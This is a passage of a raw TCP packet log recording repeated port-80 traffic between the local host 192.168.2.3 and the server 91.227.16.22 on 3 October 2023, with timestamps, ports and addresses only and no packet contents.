Oct 3, 2023 09:55:08.152931929 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.152937889 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.152987957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153016090 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153022051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153083086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153110027 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153127909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153178930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153211117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153219938 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153296947 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153326988 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153357029 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153405905 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153434038 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153508902 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153562069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153589010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153630018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153666973 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153696060 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153724909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153769970 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153799057 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153841972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153868914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153896093 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.153925896 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153959990 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.153987885 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.154030085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154067993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154098034 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.154141903 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154191017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154218912 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.154293060 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154362917 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154391050 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.154563904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154613972 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154642105 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.154683113 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154717922 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154751062 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.154819965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154838085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154896021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154930115 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.154972076 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.154994965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.155011892 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.155072927 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.155103922 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.155131102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.155169010 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.155203104 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.374844074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.374890089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.374965906 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.374978065 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.375076056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.375113010 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.375154018 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.375370026 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.375406981 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.375612020 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.375873089 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.375929117 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.376002073 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.376346111 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.376382113 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.376418114 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.376513958 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.376548052 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.376569033 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.376682997 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.376718044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.376739025 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.376853943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.376892090 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377006054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377068043 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377089977 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377104044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377173901 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377214909 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377230883 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377285957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377321959 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377341032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377459049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377496958 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377517939 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377652884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377681017 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377693892 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377701044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377731085 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377768993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377794027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377826929 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377849102 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377923965 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.377963066 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.377985954 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378041983 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378077984 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378083944 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.378148079 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378187895 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.378268957 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378328085 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378360033 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.378386021 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378452063 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378493071 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.378503084 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378544092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378581047 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.378607988 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378668070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378703117 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378767014 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.378829002 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.378865004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.378937960 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.379075050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.379113913 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.379137993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.379203081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.379239082 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.596641064 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.596659899 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.596681118 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.596757889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.596879959 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.596879959 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.596992016 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.597073078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.597126007 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.597342968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.597415924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.597469091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.597798109 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.597884893 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.597922087 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.597939968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.598090887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598129034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598150015 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.598207951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598249912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598263979 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.598483086 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598520994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598536968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.598629951 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598666906 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598683119 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.598716974 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598766088 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.598789930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598829031 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598896980 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.598939896 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.599097013 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599133968 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599155903 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.599270105 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599327087 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.599375963 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599462986 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599519968 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.599559069 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599631071 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599685907 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599687099 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.599725008 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599796057 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599822044 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.599834919 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599883080 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.599905014 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599941015 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599978924 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.599991083 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.600022078 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600074053 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.600095034 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600111961 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600159883 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.600215912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600298882 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600336075 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600351095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.600388050 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600436926 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.600459099 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600496054 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600533009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600553036 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.600601912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600651979 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.600672007 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600802898 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.600852013 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.818797112 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.818850994 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.818887949 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.818924904 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.818963051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819000959 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819037914 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819052935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.819052935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.819052935 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.819077969 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819166899 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.819403887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819444895 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819500923 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.819749117 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819787979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819824934 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819839954 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.819925070 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819962978 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.819973946 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.820244074 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820282936 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820300102 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.820322037 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820359945 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820373058 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.820398092 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820434093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820449114 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.820473909 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820512056 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820525885 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.820786953 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820830107 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820844889 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.820943117 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820983887 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.820997953 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821259975 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821300030 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821316004 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821340084 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821377039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821393013 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821417093 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821454048 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821469069 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821492910 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821533918 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821549892 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821577072 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821614027 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821630955 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821654081 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821693897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821705103 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821732044 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821784019 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821784973 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821821928 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821873903 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.821893930 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.821964979 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.822002888 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.822017908 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.822041035 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.822078943 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.822096109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.822123051 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.822176933 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:08.822233915 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.822272062 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:08.822324991 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.040719032 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.040760040 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.040797949 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.040891886 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.040935040 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041021109 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.041026115 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041022062 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.041105986 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.041110039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041215897 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041253090 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041297913 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.041321993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041397095 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.041404009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041475058 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041512012 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041551113 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.041596889 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041672945 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.041707993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041750908 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041819096 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.041820049 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041858912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041928053 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.041949034 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.042001009 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042069912 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042077065 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.042160988 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042224884 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042237997 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.042263985 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042339087 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.042352915 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042423010 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042511940 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.042515993 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042586088 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042658091 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.042668104 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042737961 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042813063 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.042830944 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042901039 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.042974949 CEST	49816	80	192.168.2.3	91.227.16.22
Oct 3, 2023 09:55:09.042994976 CEST	80	49816	91.227.16.22	192.168.2.3
Oct 3, 2023 09:55:09.043046951 CEST	80	49816	91.227.16.22	192.168.2.3
